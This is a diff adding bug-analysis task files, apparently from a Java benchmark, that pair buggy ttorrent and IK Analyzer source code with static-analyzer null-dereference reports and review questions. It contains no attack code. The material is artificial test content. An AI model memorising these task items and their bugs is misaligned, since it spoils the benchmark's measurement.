+   * of known peers, information about the torrent availability and
+   * completion and current transmission rates.
+   * </p>
+   */
+  public synchronized void info() {
+    float dl = 0;
+    float ul = 0;
+    int numConnected = 0;
+    for (SharingPeer peer : getConnectedPeers()) {
+      dl += peer.getDLRate().get();
+      ul += peer.getULRate().get();
+      numConnected++;
+    }
+
+/*
+    for (SharedTorrent torrent : this.torrents.values()) {
+      logger.debug("[{}]{} {}/{} (Downloaded {} bytes) pieces ({}%) [{}/{}] with {}/{} peers at {}/{} kB/s.",
+        new Object[]{
+          Arrays.toString(torrent.getFilenames().toArray()),
+          torrent.getClientState().name(),
+          torrent.getCompletedPieces().cardinality(),
+          torrent.getPieceCount(),
+          torrent.getDownloaded(),
+          String.format("%.2f", torrent.getCompletion()),
+          torrent.getAvailablePieces().cardinality(),
+          torrent.getRequestedPieces().cardinality(),
+          numConnected,
+          this.peers.size(),
+          String.format("%.2f", dl / 1024.0),
+          String.format("%.2f", ul / 1024.0),
+        });
+    }
+*/
+//    logger.debug("Downloaded bytes: {}", PeerExchange.readBytes);
+
+  }
+
+  /**
+   * Reset peers download and upload rates.
+   * <p/>
+   * <p>
+   * This method is called every RATE_COMPUTATION_ITERATIONS to reset the
+   * download and upload rates of all peers. This contributes to making the
+   * download and upload rate computations rolling averages every
+   * UNCHOKING_FREQUENCY * RATE_COMPUTATION_ITERATIONS seconds (usually 20
+   * seconds).
+   * </p>
+   */
+  private synchronized void resetPeerRates() {
+    for (SharingPeer peer : getConnectedPeers()) {
+      peer.getDLRate().reset();
+      peer.getULRate().reset();
+    }
+  }
+
+  /**
+   * Retrieve a peer comparator.
+   * <p/>
+   * <p>
+   * Returns a peer comparator based on either the download rate or the
+   * upload rate of each peer depending on our state. While sharing, we rely
+   * on the download rate we get from each peer. When our download is
+   * complete and we're only seeding, we use the upload rate instead.
+   * </p>
+   *
+   * @return A SharingPeer comparator that can be used to sort peers based on
+   * the download or upload rate we get from them.
+   */
+  private Comparator<SharingPeer> getPeerRateComparator() {
+/*
+    if (this.seed == 0) {
+      return new SharingPeer.ULRateComparator();
+    }
+*/
+
+    return new SharingPeer.DLRateComparator();
+  }
+
+  /**
+   * Unchoke connected peers.
+   * <p/>
+   * <p>
+   * This is one of the "clever" places of the BitTorrent client. Every
+   * OPTIMISTIC_UNCHOKING_FREQUENCY seconds, we decide which peers should be
+   * unchocked and authorized to grab pieces from us.
+   * </p>
+   * <p/>
+   * <p>
+   * Reciprocation (tit-for-tat) and upload capping is implemented here by
+   * carefully choosing which peers we unchoke, and which peers we choke.
+   * </p>
+   * <p/>
+   * <p>
+   * The four peers with the best download rate and are interested in us get
+   * unchoked. This maximizes our download rate as we'll be able to get data
+   * from there four "best" peers quickly, while allowing these peers to
+   * download from us and thus reciprocate their generosity.
+   * </p>
+   * <p/>
+   * <p>
+   * Peers that have a better download rate than these four downloaders but
+   * are not interested get unchoked too, we want to be able to download from
+   * them to get more data more quickly. If one becomes interested, it takes
+   * a downloader's place as one of the four top downloaders (i.e. we choke
+   * the downloader with the worst upload rate).
+   * </p>
+   *
+   * @param optimistic Whether to perform an optimistic unchoke as well.
+   */
+  private synchronized void unchokePeers(boolean optimistic) {
+    // Build a set of all connected peers, we don't care about peers we're
+    // not connected to.
+    List<SharingPeer> bound = new ArrayList<SharingPeer>(peersStorage.getSharingPeers());
+    Collections.sort(bound, this.getPeerRateComparator());
+    Collections.reverse(bound);
+    if (bound.size() == 0) {
+      logger.trace("No connected peers, skipping unchoking.");
+      return;
+    } else {
+      logger.trace("Running unchokePeers() on {} connected peers. Client {}",
+              new Object[]{bound.size(), Thread.currentThread()});
+    }
+
+    int downloaders = 0;
+    Set<SharingPeer> choked = new HashSet<SharingPeer>();
+
+    // We're interested in the top downloaders first, so use a descending
+    // set.
+    for (SharingPeer peer : bound) {
+      if (downloaders < Client.MAX_DOWNLOADERS_UNCHOKE) {
+        // Unchoke up to MAX_DOWNLOADERS_UNCHOKE interested peers
+        if (peer.isInterested()) {
+          downloaders++;
+          peer.unchoke();
+        }
+        continue;
+      }
+      // Choke everybody else
+      choked.add(peer);
+    }
+
+    // Actually choke all chosen peers (if any), except the eventual
+    // optimistic unchoke.
+    if (choked.size() > 0) {
+      SharingPeer randomPeer = choked.toArray(
+              new SharingPeer[0])[this.random.nextInt(choked.size())];
+
+      for (SharingPeer peer : choked) {
+        if (optimistic && peer == randomPeer) {
+          logger.debug("Optimistic unchoke of {}.", peer);
+          continue;
+        }
+
+        peer.choke();
+      }
+    }
+  }
+
+  private Collection<SharingPeer> getConnectedPeers() {
+    Set<SharingPeer> result = new HashSet<SharingPeer>();
+    Set<SharingPeer> toRemove = new HashSet<SharingPeer>();
+    for (SharingPeer peer : this.peersStorage.getSharingPeers()) {
+      if (peer.isConnected()) {
+        result.add(peer);
+      } else {
+        toRemove.add(peer);
+      }
+    }
+    for (SharingPeer peer : toRemove) {
+      this.peersStorage.removeSharingPeer(peer);
+    }
+    return result;
+  }
+
+  public boolean containsTorrentWithHash(String hash) {
+    return torrentsStorage.hasTorrent(hash);
+  }
+
+  @Override
+  public PeersStorage getPeersStorage() {
+    return peersStorage;
+  }
+
+  @Override
+  public TorrentsStorage getTorrentsStorage() {
+    return torrentsStorage;
+  }
+
+  @Override
+  public ExecutorService getExecutor() {
+    return myExecutorService;
+  }
+
+  @Override
+  public ConnectionListener newChannelListener() {
+    return new StateChannelListener(this);
+  }
+
+  @Override
+  public SharingPeer createSharingPeer(String host, int port, ByteBuffer peerId, SharedTorrent torrent, ByteChannel channel) {
+    return new SharingPeer(host, port, peerId, torrent, getConnectionManager(), this, channel);
+  }
+
+  @Override
+  public TorrentLoader getTorrentLoader() {
+    return myTorrentLoader;
+  }
+
+
+  /** AnnounceResponseListener handler(s). **********************************/
+
+  /**
+   * Handle an announce response event.
+   *
+   * @param interval   The announce interval requested by the tracker.
+   * @param complete   The number of seeders on this torrent.
+   * @param incomplete The number of leechers on this torrent.
+   */
+  @Override
+  public void handleAnnounceResponse(int interval, int complete, int incomplete, String hexInfoHash) {
+    final SharedTorrent sharedTorrent = this.torrentsStorage.getTorrent(hexInfoHash);
+    if (sharedTorrent != null) {
+      sharedTorrent.setSeedersCount(complete);
+      sharedTorrent.setLastAnnounceTime(System.currentTimeMillis());
+    }
+    setAnnounceInterval(interval);
+  }
+
+  /**
+   * Handle the discovery of new peers.
+   *
+   * @param peers The list of peers discovered (from the announce response or
+   *              any other means like DHT/PEX, etc.).
+   */
+  @Override
+  public void handleDiscoveredPeers(List<Peer> peers, String hexInfoHash) {
+
+    if (peers.size() == 0) return;
+
+    SharedTorrent torrent = torrentsStorage.getTorrent(hexInfoHash);
+
+    if (torrent != null && torrent.isFinished()) return;
+
+    final AnnounceableFileTorrent announceableTorrent = torrentsStorage.getAnnounceableTorrent(hexInfoHash);
+    if (announceableTorrent == null) {
+      logger.info("announceable torrent {} is not found in storage. Maybe it was removed", hexInfoHash);
+      return;
+    }
+
+    if (announceableTorrent.isSeeded()) return;
+
+    logger.info("Got {} peer(s) ({}) for {} in tracker response", new Object[]{peers.size(),
+            Arrays.toString(peers.toArray()), hexInfoHash});
+
+    Map<PeerUID, Peer> uniquePeers = new HashMap<PeerUID, Peer>();
+    for (Peer peer : peers) {
+      final PeerUID peerUID = new PeerUID(peer.getAddress(), hexInfoHash);
+      if (uniquePeers.containsKey(peerUID)) continue;
+      uniquePeers.put(peerUID, peer);
+    }
+
+    for (Map.Entry<PeerUID, Peer> e : uniquePeers.entrySet()) {
+
+      PeerUID peerUID = e.getKey();
+      Peer peer = e.getValue();
+      boolean alreadyConnectedToThisPeer = peersStorage.getSharingPeer(peerUID) != null;
+
+      if (alreadyConnectedToThisPeer) {
+        logger.debug("skipping peer {}, because we already connected to this peer", peer);
+        continue;
+      }
+
+      ConnectionListener connectionListener = new OutgoingConnectionListener(
+              this,
+              announceableTorrent,
+              peer.getIp(),
+              peer.getPort());
+
+      logger.debug("trying to connect to the peer {}", peer);
+
+      boolean connectTaskAdded = this.myConnectionManager.offerConnect(
+              new ConnectTask(peer.getIp(),
+                      peer.getPort(),
+                      connectionListener,
+                      new SystemTimeService().now(),
+                      Constants.DEFAULT_CONNECTION_TIMEOUT_MILLIS), 1, TimeUnit.SECONDS);
+      if (!connectTaskAdded) {
+        logger.info("can not connect to peer {}. Unable to add connect task to connection manager", peer);
+      }
+    }
+  }
+
+  /**
+   * PeerActivityListener handler(s). *************************************
+   */
+
+  @Override
+  public void handlePeerChoked(SharingPeer peer) { /* Do nothing */ }
+
+  @Override
+  public void handlePeerReady(SharingPeer peer) { /* Do nothing */ }
+
+  @Override
+  public void handlePieceAvailability(SharingPeer peer,
+                                      Piece piece) { /* Do nothing */ }
+
+  @Override
+  public void handleBitfieldAvailability(SharingPeer peer,
+                                         BitSet availablePieces) { /* Do nothing */ }
+
+  @Override
+  public void handlePieceSent(SharingPeer peer,
+                              Piece piece) { /* Do nothing */ }
+
+  /**
+   * Piece download completion handler.
+   * <p/>
+   * <p>
+   * When a piece is completed, and valid, we announce to all connected peers
+   * that we now have this piece.
+   * </p>
+   * <p/>
+   * <p>
+   * We use this handler to identify when all of the pieces have been
+   * downloaded. When that's the case, we can start the seeding period, if
+   * any.
+   * </p>
+   *
+   * @param peer  The peer we got the piece from.
+   * @param piece The piece in question.
+   */
+  @Override
+  public void handlePieceCompleted(final SharingPeer peer, final Piece piece)
+          throws IOException {
+    final SharedTorrent torrent = peer.getTorrent();
+    final String torrentHash = torrent.getHexInfoHash();
+    try {
+      final Future<?> validationFuture = myPieceValidatorExecutor.submit(new Runnable() {
+        @Override
+        public void run() {
+          validatePieceAsync(torrent, piece, torrentHash, peer);
+        }
+      });
+      torrent.markCompletedAndAddValidationFuture(piece, validationFuture);
+    } catch (RejectedExecutionException e) {
+      torrent.markUncompleted(piece);
+      LoggerUtils.warnWithMessageAndDebugDetails(logger, "Unable to submit validation task for torrent {}", torrentHash, e);
+    }
+  }
+
+  private void validatePieceAsync(final SharedTorrent torrent, final Piece piece, String torrentHash, SharingPeer peer) {
+    try {
+      synchronized (piece) {
+        piece.validate(torrent, piece);
+        if (piece.isValid()) {
+          // Send a HAVE message to all connected peers, which don't have the piece
+          PeerMessage have = PeerMessage.HaveMessage.craft(piece.getIndex());
+          for (SharingPeer remote : getConnectedPeers()) {
+            if (remote.getTorrent().getHexInfoHash().equals(torrentHash) &&
+                    !remote.getAvailablePieces().get(piece.getIndex()))
+              remote.send(have);
+          }
+
+          final boolean isTorrentComplete;
+          synchronized (torrent) {
+            torrent.removeValidationFuture(piece);
+            // Make sure the piece is marked as completed in the torrent
+            // Note: this is required because the order the
+            // PeerActivityListeners are called is not defined, and we
+            // might be called before the torrent's piece completion
+            // handler is.
+            logger.trace("Completed download and validation of {} from {}, now has {}/{} pieces.",
+                    new Object[]{
+                            piece,
+                            peer,
+                            torrent.getCompletedPieces().cardinality(),
+                            torrent.getPieceCount()
+                    });
+
+            boolean isCurrentPeerSeeder = peer.getAvailablePieces().cardinality() == torrent.getPieceCount();
+            //if it's seeder we will send not interested message when we download full file
+            if (!isCurrentPeerSeeder) {
+              if (torrent.isAllPiecesOfPeerCompletedAndValidated(peer)) {
+                peer.notInteresting();
+              }
+            }
+
+            isTorrentComplete = torrent.isComplete();
+
+            if (isTorrentComplete) {
+              logger.debug("Download of {} complete.", torrent.getDirectoryName());
+
+              torrent.finish();
+            }
+          }
+
+          if (isTorrentComplete) {
+
+            AnnounceableTorrent announceableTorrent = torrentsStorage.getAnnounceableTorrent(torrentHash);
+
+            if (announceableTorrent == null) return;
+
+            try {
+              announce.getCurrentTrackerClient(announceableTorrent)
+                      .announceAllInterfaces(COMPLETED, true, announceableTorrent);
+            } catch (AnnounceException e) {
+              logger.debug("unable to announce torrent {} on tracker {}", torrent, torrent.getAnnounce());
+            }
+
+            for (SharingPeer remote : getPeersForTorrent(torrentHash)) {
+              remote.notInteresting();
+            }
+
+          }
+        } else {
+          torrent.markUncompleted(piece);
+          logger.info("Downloaded piece #{} from {} was not valid ;-(. Trying another peer", piece.getIndex(), peer);
+          peer.getPoorlyAvailablePieces().set(piece.getIndex());
+        }
+      }
+    } catch (Throwable e) {
+      torrent.markUncompleted(piece);
+      LoggerUtils.warnWithMessageAndDebugDetails(logger, "unhandled exception in piece {} validation task", piece, e);
+    }
+  }
+
+  @Override
+  public void handlePeerDisconnected(SharingPeer peer) {
+    Peer p = new Peer(peer.getIp(), peer.getPort());
+    p.setPeerId(peer.getPeerId());
+    p.setTorrentHash(peer.getHexInfoHash());
+    logger.trace("Peer {} disconnected, [{}/{}].",
+            new Object[]{
+                    peer,
+                    getConnectedPeers().size(),
+                    this.peersStorage.getSharingPeers().size()
+            });
+  }
+
+  @Override
+  public void afterPeerRemoved(SharingPeer peer) {
+    logger.trace("disconnected peer " + peer);
+    torrentsStorage.peerDisconnected(peer.getHexInfoHash());
+  }
+
+  @Override
+  public void handleIOException(SharingPeer peer, IOException ioe) {
+    logger.debug("I/O problem occured when reading or writing piece data for peer {}: {}.", peer, ioe.getMessage());
+
+    peer.unbind(true);
+  }
+
+  @Override
+  public void handleNewPeerConnected(SharingPeer peer) {
+    //do nothing
+  }
+
+  @Override
+  public void torrentStateChanged(ClientState newState, SharedTorrent torrent) {
+    if (newState.equals(ClientState.ERROR)) {
+      removeTorrent(torrent);
+    }
+  }
+
+  public ConnectionManager getConnectionManager() throws IllegalStateException {
+    ConnectionManager connectionManager = this.myConnectionManager;
+    if (connectionManager == null) {
+      throw new IllegalStateException("connection manager is null");
+    }
+    return connectionManager;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `null` could be null and is dereferenced by call to `start(...)` at line 277.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Client.start(java.net.InetAddress[])
+
+### Procedure Id:
+com.turn.ttorrent.client.Client.start(java.net.InetAddress[]):void.395b216df742f41ab42611869333340b
+
+### File:
+ttorrent-client/src/main/java/com/turn/ttorrent/client/Client.java
+
+### Key:
+Client.java|start|NULL_DEREFERENCE
+
+### Node Key:
+ebfcd86bb1c9c2b802a95632413dc918
+
+### Hash:
+b75206fc12296d04f70f597c62d326af
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10048/instruction.md b/inferredbugs-10048/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5d9daf36fdd9100b640d34785db5a5c8b01d4b63
--- /dev/null
+++ b/inferredbugs-10048/instruction.md
@@ -0,0 +1,404 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ttorrent
+**Bug ID:** 41
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (C) 2011-2012 Turn, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.turn.ttorrent.client.announce;
+
+import com.turn.ttorrent.client.ClientState;
+import com.turn.ttorrent.client.SharedTorrent;
+import com.turn.ttorrent.common.Peer;
+import com.turn.ttorrent.common.Torrent;
+import com.turn.ttorrent.common.TorrentHash;
+import com.turn.ttorrent.common.protocol.TrackerMessage.AnnounceRequestMessage;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.net.URI;
+import java.net.UnknownHostException;
+import java.net.UnknownServiceException;
+import java.util.*;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.CopyOnWriteArrayList;
+
+/**
+ * BitTorrent announce sub-system.
+ * <p/>
+ * <p>
+ * A BitTorrent client must check-in to the torrent's tracker(s) to get peers
+ * and to report certain events.
+ * </p>
+ * <p/>
+ * <p>
+ * This Announce class implements a periodic announce request thread that will
+ * notify announce request event listeners for each tracker response.
+ * </p>
+ *
+ * @author mpetazzoni
+ * @see com.turn.ttorrent.common.protocol.TrackerMessage
+ */
+public class Announce implements Runnable {
+
+  protected static final Logger logger =
+    LoggerFactory.getLogger(Announce.class);
+
+  private List<Peer> myPeers;
+
+  /**
+   * The tiers of tracker clients matching the tracker URIs defined in the
+   * torrent.
+   */
+  private final ConcurrentMap<String, TrackerClient> clients;
+  private final Collection<SharedTorrent> torrents;
+
+  /**
+   * Announce thread and control.
+   */
+  private Thread thread;
+  private volatile boolean stop;
+  private boolean forceStop;
+
+  /**
+   * Announce interval.
+   */
+  private int myAnnounceInterval;
+  private TrackerClient myDefaultTracker;
+
+  /**
+   * Initialize the base announce class members for the announcer.
+   *
+   */
+  public Announce() {
+    this.clients = new ConcurrentHashMap<String, TrackerClient>();
+    this.torrents = new CopyOnWriteArrayList<SharedTorrent>();
+    this.thread = null;
+    myPeers = new CopyOnWriteArrayList<Peer>();
+  }
+
+  public void addTorrent(SharedTorrent torrent, AnnounceResponseListener listener) throws UnknownServiceException, UnknownHostException {
+    this.torrents.add(torrent);
+    URI trackerUrl = torrent.getAnnounce();
+    TrackerClient client = this.clients.get(trackerUrl.toString());
+    try {
+      if (client == null) {
+        client = createTrackerClient(myPeers, trackerUrl);
+        client.register(listener);
+        this.clients.put(trackerUrl.toString(), client);
+      }
+      if (torrent.getClientState() == ClientState.SEEDING){
+        client.announceAllInterfaces(AnnounceRequestMessage.RequestEvent.COMPLETED, true, torrent);
+      } else {
+        client.announceAllInterfaces(AnnounceRequestMessage.RequestEvent.STARTED, false, torrent);
+      }
+    } catch (AnnounceException e) {
+      logger.info(String.format("Unable to force announce torrent %s on tracker %s.", torrent.getName(), String.valueOf(trackerUrl)));
+      logger.debug(String.format("Unable to force announce torrent %s on tracker %s.", torrent.getName(), String.valueOf(trackerUrl)), e );
+    }
+  }
+
+  public void removeTorrent(TorrentHash torrent) {
+    List<SharedTorrent> toRemove = new ArrayList<SharedTorrent>();
+    for (SharedTorrent st : this.torrents) {
+      if (st.getHexInfoHash().equals(torrent.getHexInfoHash())) {
+        toRemove.add(st);
+        sendStopEvent(st);
+      }
+    }
+    this.torrents.removeAll(toRemove);
+  }
+
+  /**
+   * Start the announce request thread.
+   */
+  public void start(final URI defaultTrackerURI, final AnnounceResponseListener listener, final Peer[] peers, final int announceInterval) {
+    myAnnounceInterval = announceInterval;
+    myPeers.addAll(Arrays.asList(peers));
+    if (defaultTrackerURI != null){
+      try {
+        myDefaultTracker = createTrackerClient(myPeers, defaultTrackerURI);
+        myDefaultTracker.register(listener);
+        this.clients.put(defaultTrackerURI.toString(), myDefaultTracker);
+      } catch (Exception e) {}
+    } else {
+      myDefaultTracker = null;
+    }
+
+    this.stop = false;
+    this.forceStop = false;
+
+    if (this.thread == null || !this.thread.isAlive()) {
+      this.thread = new Thread(this);
+      this.thread.setName("torrent tracker announce thread");
+      this.thread.start();
+    }
+  }
+
+  /**
+   * Set the announce interval.
+   */
+  public void setAnnounceInterval(int announceInterval) {
+    if (announceInterval <= 0) {
+      this.stop(true);
+      return;
+    }
+
+    if (this.myAnnounceInterval == announceInterval) {
+      return;
+    }
+
+    logger.debug("Setting announce interval to {}s per tracker request.",
+            announceInterval);
+    this.myAnnounceInterval = announceInterval;
+  }
+
+  private void sendStopEvent(SharedTorrent torrent) {
+    try {
+      final URI uri = torrent.getAnnounce();
+      TrackerClient client = this.clients.get(uri.toString());
+      client.announceAllInterfaces(AnnounceRequestMessage.RequestEvent.STOPPED, true, torrent);
+    } catch (Exception ex) {
+      logger.debug("Unable to announce stop on tracker");
+    }
+  }
+
+  /**
+   * Stop the announce thread.
+   * <p/>
+   * <p>
+   * One last 'stopped' announce event might be sent to the tracker to
+   * announce we're going away, depending on the implementation.
+   * </p>
+   */
+  public void stop() {
+
+    Iterator<SharedTorrent> iterator = torrents.iterator();
+    while (iterator.hasNext()) {
+      sendStopEvent(iterator.next());
+    }
+    this.torrents.clear();
+
+    this.stop = true;
+    this.myPeers.clear();
+
+    if (this.thread != null && this.thread.isAlive()) {
+      this.thread.interrupt();
+
+      for (TrackerClient client : this.clients.values()) {
+        client.close();
+      }
+
+      try {
+        this.thread.join();
+      } catch (InterruptedException ie) {
+        // Ignore
+      }
+    }
+
+    this.thread = null;
+  }
+
+  /**
+   * Main announce loop.
+   * <p/>
+   * <p>
+   * The announce thread starts by making the initial 'started' announce
+   * request to register on the tracker and get the announce interval value.
+   * Subsequent announce requests are ordinary, event-less, periodic requests
+   * for peers.
+   * </p>
+   * <p/>
+   * <p>
+   * Unless forcefully stopped, the announce thread will terminate by sending
+   * a 'stopped' announce request before stopping.
+   * </p>
+   */
+  @Override
+  public void run() {
+    logger.info("Starting announce loop...");
+
+
+    while (!this.stop && !Thread.currentThread().isInterrupted()) {
+      logger.debug("Starting announce for {} torrents", torrents.size());
+      for (SharedTorrent torrent : this.torrents) {
+        if (this.stop || Thread.currentThread().isInterrupted()){
+          break;
+        }
+        try {
+          TrackerClient trackerClient = this.getCurrentTrackerClient(torrent);
+          if (trackerClient != null) {
+            trackerClient.announceAllInterfaces(AnnounceRequestMessage.RequestEvent.NONE, torrent.isFinished(), torrent);
+          } else {
+            logger.warn("Tracker client for {} is null. Torrent is not announced on tracker", torrent.getName());
+          }
+        } catch (Exception e) {
+          logger.info(e.getMessage());
+          logger.debug(e.getMessage(), e);
+        }
+      }
+
+      try {
+        Thread.sleep(this.myAnnounceInterval * 1000);
+      } catch (InterruptedException ie) {
+        break;
+      }
+    }
+
+    logger.info("Exited announce loop.");
+
+    if (!this.forceStop) {
+      // Send the final 'stopped' event to the tracker after a little
+      // while.
+      try {
+        Thread.sleep(500);
+      } catch (InterruptedException ie) {
+        // Ignore
+        return;
+      }
+
+      try {
+        for (SharedTorrent torrent : this.torrents) {
+            this.getCurrentTrackerClient(torrent).announceAllInterfaces(AnnounceRequestMessage.RequestEvent.STOPPED, true, torrent);
+        }
+      } catch (AnnounceException e) {
+        logger.info("Can't announce stop: " + e.getMessage());
+        logger.debug("Can't announce stop", e);
+        // don't try to announce all. Stop after first error, assuming tracker is already unavailable
+      }
+    }
+  }
+
+  /**
+   * Create a {@link TrackerClient} annoucing to the given tracker address.
+   *
+   * @param peers    The list peer the tracker client will announce on behalf of.
+   * @param tracker The tracker address as a {@link java.net.URI}.
+   * @throws UnknownHostException    If the tracker address is invalid.
+   * @throws UnknownServiceException If the tracker protocol is not supported.
+   */
+  public static TrackerClient createTrackerClient(List<Peer> peers, URI tracker) throws UnknownHostException, UnknownServiceException {
+    String scheme = tracker.getScheme();
+
+    if ("http".equals(scheme) || "https".equals(scheme)) {
+      return new HTTPTrackerClient(peers, tracker);
+    } else if ("udp".equals(scheme)) {
+      return new UDPTrackerClient(peers, tracker);
+    }
+
+    throw new UnknownServiceException(
+      "Unsupported announce scheme: " + scheme + "!");
+  }
+
+  /**
+   * Returns the current tracker client used for announces.
+   */
+  public TrackerClient getCurrentTrackerClient(Torrent torrent) {
+    List<List<URI>> announceList = torrent.getAnnounceList();
+    if (announceList.size() == 0) return null;
+    List<URI> uris = announceList.get(0);
+    if (uris.size() == 0) return null;
+    return this.clients.get(uris.get(0).toString());
+  }
+
+  public URI getDefaultTrackerURI(){
+    if (myDefaultTracker == null){
+      return null;
+    }
+    return myDefaultTracker.getTrackerURI();
+  }
+
+  /**
+   * Stop the announce thread.
+   *
+   * @param hard Whether to force stop the announce thread or not, i.e. not
+   *             send the final 'stopped' announce request or not.
+   */
+  private void stop(boolean hard) {
+    this.forceStop = hard;
+    this.stop();
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getCurrentTrackerClient(torrent)` could be null and is dereferenced at line 271.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Announce.run()
+
+### Procedure Id:
+com.turn.ttorrent.client.announce.Announce.run():void.c6cbd584198ee1f12c6c9249f514fc96
+
+### File:
+src/main/java/com/turn/ttorrent/client/announce/Announce.java
+
+### Key:
+Announce.java|run|NULL_DEREFERENCE
+
+### Node Key:
+96af451bedd5bef2ac68076d58d39f7e
+
+### Hash:
+476911204e143046f2532846a4df8b35
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10070/instruction.md b/inferredbugs-10070/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a2c33899e41a7c2bdc95fe8d4020386a1830653e
--- /dev/null
+++ b/inferredbugs-10070/instruction.md
@@ -0,0 +1,457 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ik-analyzer-solr
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * IK 中文分词  版本 8.1.1
+ * IK Analyzer release 8.1.1
+ *
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ * 源代码由林良益(linliangyi2005@gmail.com)提供
+ * 版权声明 2012，乌龙茶工作室
+ * provided by Linliangyi and copyright 2012 by Oolong studio
+ *
+ * 8.1.1版本 由 Magese (magese@live.cn) 更新
+ * release 8.1.1 update by Magese(magese@live.cn)
+ *
+ */
+package org.wltea.analyzer.dic;
+
+import java.io.*;
+import java.nio.charset.StandardCharsets;
+import java.util.Collection;
+import java.util.List;
+
+import org.wltea.analyzer.cfg.Configuration;
+import org.wltea.analyzer.cfg.DefaultConfig;
+
+/**
+ * 词典管理类，单例模式
+ */
+@SuppressWarnings("unused")
+public class Dictionary {
+
+    /*
+     * 词典单子实例
+     */
+    private static Dictionary singleton;
+
+    /*
+     * 主词典对象
+     */
+    private DictSegment _MainDict;
+
+    /*
+     * 停止词词典
+     */
+    private DictSegment _StopWordDict;
+    /*
+     * 量词词典
+     */
+    private DictSegment _QuantifierDict;
+
+    /**
+     * 配置对象
+     */
+    private Configuration cfg;
+
+    /**
+     * 私有构造方法，阻止外部直接实例化本类
+     *
+     * @param cfg ik分词器配置实例
+     */
+    private Dictionary(Configuration cfg) {
+        this.cfg = cfg;
+        this.loadMainDict();
+        this.loadStopWordDict();
+        this.loadQuantifierDict();
+    }
+
+    /**
+     * 词典初始化
+     * 由于IK Analyzer的词典采用Dictionary类的静态方法进行词典初始化
+     * 只有当Dictionary类被实际调用时，才会开始载入词典，
+     * 这将延长首次分词操作的时间
+     * 该方法提供了一个在应用加载阶段就初始化字典的手段
+     */
+    public static void initial(Configuration cfg) {
+        if (singleton == null) {
+            synchronized (Dictionary.class) {
+                if (singleton == null) {
+                    singleton = new Dictionary(cfg);
+                }
+            }
+        }
+    }
+
+    /**
+     * 获取词典单子实例
+     *
+     * @return Dictionary 单例对象
+     */
+    public static Dictionary getSingleton() {
+        if (singleton == null) {
+            throw new IllegalStateException("词典尚未初始化，请先调用initial方法");
+        }
+        return singleton;
+    }
+
+    /**
+     * 重新更新词典
+     * 由于停用词等不经常变也不建议常增加，故这里只修改动态扩展词库
+     *
+     * @param inputStreamReaderList 词典文件IO流集合
+     */
+    public static void reloadDic(List<Reader> inputStreamReaderList) {
+        // 如果本类单例尚未实例化，则先进行初始化操作
+        if (singleton == null) {
+            Configuration cfg = DefaultConfig.getInstance();
+            initial(cfg);
+        }
+        // 对词典流集合进行循环读取，将读取到的词语加载到主词典中
+        for (Reader in : inputStreamReaderList) {
+            try {
+                LineNumberReader br = new LineNumberReader(in);
+                String theWord;
+                while ((theWord = br.readLine()) != null) {
+                    if (theWord.trim().length() == 0 || theWord.trim().charAt(0) == '#') continue;
+                    singleton._MainDict.fillSegment(theWord.trim().toLowerCase().toCharArray());
+                }
+            } catch (IOException ioe) {
+                System.err.println("Other Dictionary loading exception.");
+                ioe.printStackTrace();
+            } finally {
